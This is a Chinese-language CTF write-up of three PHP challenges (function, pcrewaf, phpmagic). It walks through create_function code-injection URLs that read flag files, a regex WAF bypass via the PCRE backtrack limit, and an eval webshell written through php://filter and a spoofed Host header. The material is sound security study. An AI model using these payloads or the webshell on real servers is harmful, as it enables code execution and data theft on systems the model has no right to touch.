Code-Breaking Puzzles 题解&学习篇(一)
p神真是相当用心了,弄了个知识星球两周年的活动,有一堆题目质量极高的题。大家感兴趣的可以一起来做下
比较菜的我就只能学习了。有很多新奇的点,题目确实都很有意思,最后,广告还是要的,欢迎一起加入【代码审计知识星球】
p神对这几个题目知识点的描述:
function PHP函数利用技巧
pcrewaf PHP正则特性
phpmagic PHP写文件技巧
我比较菜,一天只能做出来三道题目(QAQ)
如果各位大佬有好的思路,欢迎指点(THS)
easy - function
题目源码
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
这一题是p神在知识星球两周年的活动中的第一题
上来就是一个正则表达式,第一个限制是preg_match('/^[a-z0-9_]*$/isD', $action)
,$action
中要出现数字,字母(a-z)以及下划线以外的字符。
那么有没有可能在开头或结尾加入某个字符来绕过正则且函数依然能调用呢?这里我们使用burp跑一遍0-128
的ascii码
,就能知道可以在函数前插入一个\
具体原理,p神在小密圈也说过
function,为什么函数前面可以加一个%5c?
其实简单的不行,php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,
如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()
这样调用函数,则其实是写了一个绝对路径。
如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
就是\
在php中表示默认的命名空间,比如写一些类的时候会在开头写
1:namespace think\db;
2:use think\Exception;
然后就是需要找一个第二个参数可以引发危险的函数。create_function
比较符合
create_function
的第一个参数是参数,第二个参数是内容
函数结构形似
create_function('$a,$b','return miraitowa')
==>
function a($a, $b){
return miraitowa;
}
然后执行,如果我们想要执行任意代码,就首先需要跳出这个函数定义。
create_function('$a,$b','return miraitowa;}phpinfo();//')
==>
function a($a, $b){
return miraitowa;}phpinfo();//
}
当然你也可以这样理解这一点
create_function
在构建函数的时候,也是使用的字符串拼接的方式,将第二个参数的$code传入到其中
"function lambda(){".$code."}"
然后动态执行。这样一来就可以进行注入
miraitowa;}phpinfo();/*
其实我们非常熟悉的eval也是将其中的字符串与进行拼接
"<?php ".$code."?>"
从而可以传入?>、<?php
闭合前后的标签,让中间的代码块不会被当作php代码执行。
到了这里,也就差不多了。虽然系统里禁用了system、exec
之类的函数,但是,只要可以读文件就可以拿到flag了
http://51.158.75.42:8087/?action=\create_function&arg=miraitowa;}print_r(scandir(%27../%27));/*
然后再读取一下目录就可以了
http://51.158.75.42:8087/?action=\create_function&arg=miraitowa;}print_r(file_get_contents(%27../flag_h0w2execute_arb1trary_c0de%27));/*
就可以得到flag了
深入create_function代码注入
p神在小密圈具体实例进行讲解
code-breaking
的第一题,有一个考点是create_function
代码注入。关于这个点,以前我经常看到有人分享一句话木马,
有的用create_function
创建一个函数然后执行,我总是默默地想其实创建完了不用执行的。create_function('', $_GET['code']);
我们来看一下上述代码为什么可以直接RCE
。 下图摘取出create_function
的源代码:
可见用户输入的参数是function_args、function_code
,他们被拼接成一个完整的PHP函数:
function__lambda_func(function_args){function_code}\0
这个函数代码会先放在zend_eval_stringl
里执行,
可以理解为eval。执行成功后,再于函数列表中找到__lambda_func
函数,将其重命名成lambda_%d
,%d
代表“这是本进程第几个匿名函数”。
最后从函数列表里删除__lambda_func
。 由于代码就是简单的拼接,所以我们可以闭合括号,执行任意代码。
比如:
如果可控在第一个参数,需要闭合圆括号和大括号:
create_function('){}phpinfo();//', '');
如果可控在第二个参数,需要闭合大括号:
create_function('', '}phpinfo();//');
见下图执行phpinfo
easy - pcrewaf
题目源码
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
} 1
这题思路很清楚,文件名不可控,唯一能控制的就是文件内容。所以问题的症结就在于如何绕过这个正则表达式。
/<\?.*[(`;?>].*/is
简单来说就是<后面不能有问号,<?后面不能有(;?>反引号,但很显然,这是不可能的,最少执行函数也需要括号才行。从常规的思路肯定不行
php开发者写的关于深悉正则(pcre)最大回溯/递归限制
看ph师傅的文章我们看到了问题所在,pcre.backtrack_limit这个配置决定了在php中,正则引擎回溯的层数。而这个值默认是1000000.
超过后就会导致匹配失败,preg_match返回false。
而什么是正则引擎回溯呢?
在正则中.*表示匹配任意字符任意位,也就是说他会匹配所有的字符,而正则引擎在解析正则的时候必然是逐位匹配的,对于
<?php phpinfo();//faaaaaaaaaaaaaaaaaaaaaaaaaa
这段代码来说
首先<匹配<
然后?匹配?
然后.*会直接匹配到结尾php phpinfo();//faaaaaaaaaaaaaaaaaaaaaaaaaa
紧接着匹配[(`;?>],问题出现了,上一步匹配到了结尾,后面没有满足要求的符号了。
从这里开始正则引擎就开始逐渐回溯,知道符合要求的;出现为止
但很显然,服务端不可能不做任何限制,不然如果post一个无限长的数据,那么服务端就会浪费太多的资源在这里,所以就有了
pcre.backtrack_limit
,如果回溯次数超过100万次,那么匹配就会结束,然后跳过这句语句。
回到题目来看,如果能够跳过这句语句,我们就能上传任意文件内容了!
首先在本地写一个html用来上传文件
<form enctype="multipart/form-data" action="http://51.158.75.42:8088/" method="POST">
Send this file: <input name="file" type="file" />
<input type="submit" value="Send File" />
</form>
随便选一个文件上传,用burp拦截,内容修改成前面提到的形式
从响应来看上传成功,然后就可以执行任意命令了
用1中提到的方法可以找一下目录下文件,找到后读取即可getflag
payload:pass=readfile("../../../flag_php7_2_1s_c0rrect");
easy - phpmagic
主要源码:
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
<?php
if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif; ?>
题目分析
1:用sprintf将"dig -t A -q %s"
和经过escapeshellarg
的$domain
(可控)拼接
这样处理的$domain
会变成这样的形式:
比如,当$domain = ;ls;
$command:dig -t A -q ';ls;'
当$domain = ';ls;
$command:dig -t A -q ''\'';ls;'
所以这里的shell_exec
难以利用
; <<>> DiG 9.9.5-9+deb8u15-Debian <<>> -t A -q 21344
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 55235
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;21344. IN A
;; AUTHORITY SECTION:
. 10800 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2018121702 1800 900 604800 86400
;; Query time: 445 msec
;; SERVER: 127.0.0.11#53(127.0.0.11)
;; WHEN: Tue Dec 18 01:57:12 UTC 2018
;; MSG SIZE rcvd: 98
2:要经过htmlspecialchars()
,这样把尖括号过滤掉了,没法直接写shell
3:把$_SERVER['SERVER_NAME']
和可控的log_name
拼接起来,用pathinfo
判断是否以php
为后缀,然后写文件
看起来似乎是要利用file_put_content
s来写shell
,但是两个参数(文件和内容)我们似乎都无法完全控制
解题思路
**膜php & apache2 &操作系统之间的一些黑魔法
第一点是看了一位大佬的文章php & apache2 &操作系统之间的一些黑魔法
只要在后缀名后加上/.,pathinfo就取不到后缀名,且可以正常写入.php之中。
之前做题的时候曾经遇到过类似的问题,可以通过解base64来隐藏自己要写入的内容绕过过滤,然后php在解析的时候会忽略各种乱码,
只会从<?php开始,所以其他的乱码都不会影响到内容,唯一要注意的就是base64是4位一解的,主要不要把第一位打乱掉。
简单测试一下
$output = <<<EOT
; <<>> DiG 9.9.5-9+deb8u15-Debian <<>> -t A -q "$domain"
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 43507
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;1232321321.IN A
;; AUTHORITY SECTION:
. 10800 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2018112800 1800 900 604800 86400
;; Query time: 449 msec
;; SERVER: 127.0.0.11#53(127.0.0.11)
;; WHEN: Wed Nov 28 08:26:15 UTC 2018
;; MSG SIZE rcvd: 103
EOT;
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
var_dump($output);
var_dump(base64_decode($output));
深入$_SERVER[‘SERVER_NAME’]
由于给了提示说是php文件写入,那就把目光放在了写文件的地方
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
可以看到,文件名是由$_SERVER['SERVER_NAME']和$log_name
两部分组成的。
$log_name
可以由$_POST['log']
来控制,至于$_SERVER['SERVER_NAME']
一开始我是以为不能控制的,后来改了下Host头部发现也是可以控制的,看了下这个参数的含义
可以看到官方也给了相应的提示,在Apache2中没有进行相应设置的话,这个值是会由客户端进行提供。
这样文件名完全可控之后,事情就变的好办了。后面的if判断也相对比较好绕
!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)
使用php伪协议
利用php伪协议就可以控制写入文件的方式,进行本地的测试
<php? @eval($_GET['c']);
可以如上文进行写入。
解码base64时,遇到不合法字符会跳过(至少php和下文例子中的python是这样)base64使用的字符包括大小写字母各26个,加上10个数字,
和+、/
共64个字符。base64在解码时,如果参数中有非法字符(不在上面64个字符内的),就会跳过。
举个栗子
所以其他字符不会影响想要的解码
getshell
Host
改为php
,与传入的log
拼接成php伪协议的形式,文件名后加/.来绕过pathinfo
domain
为 <?php @eval($_GET['123']);?>
的base64编码,去掉了最后的==(这里php最后的?>不能省略,因为后面还有其他内容)
参考资料: